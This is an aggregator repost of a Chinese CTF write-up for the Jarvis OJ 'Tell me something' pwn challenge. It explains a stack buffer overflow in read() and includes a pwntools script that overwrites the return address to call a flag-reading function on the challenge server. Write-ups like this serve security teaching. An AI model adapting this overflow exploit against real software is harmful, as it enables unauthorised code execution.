[Jarvisos]Tell me something

Posted jleixin

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Jarvisos]Tell me something相关的知识,希望对你有一定的参考价值。

0x01

拿到题目首先检查一下是32位还是64位

技术图片

64位程序,未开启canary栈保护

运行一下程序,检查一下程序的运行逻辑

技术图片

提示—>输入—>输出

0x02

ida反编译一下,看一下代码逻辑是什么

技术图片

发现read函数在向v6读入输入的时候没有判断v6接受参数的大小范围,而超出了v6所能接受的最大范围,存在溢出

到这里整体思路已经有了,就是利用这里的read函数的栈溢出进行漏洞利用

那么我这个时候首先是去找有没有system函数来调用shell,找了一圈发现没有,最终发现了一个有意思的函数

技术图片

调用这个函数的时候,会直接对flag.txt进行读取,所以我们只需要将溢出后的地址覆盖到这里就行

0x03

exp:

from pwn import *

debug = 0
if debug == 1:
	io = process("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
	elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
else:
	io = remote("pwn.jarvisoj.com", 9876)
	elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")

good_game_addr = elf.symbols["good_game"]
io.recvline()
payload = b‘a‘ * 0x88 + p64(good_game_addr)
io.sendline(payload)
io.interactive()

这里说一下踩到的坑,刚开始调试程序是在本地调试程序,发现一直不成功,后来发现其实这里得不到shell,而是直接读取的文件从而获得flag,所以这里程序要想本地调试成功,需要在当前目录下创建flag.txt文件才可以

以上是关于[Jarvisos]Tell me something的主要内容,如果未能解决你的问题,请参考以下文章

hdu 1798 Tell me the area 几何

Tell Me About Yourself - Best Answers and Examples

Wait statistics, or please tell me where it hurts

I need help !please tell me why !

git *** Please tell me who you are.错误

提交到github报错Please tell me who you are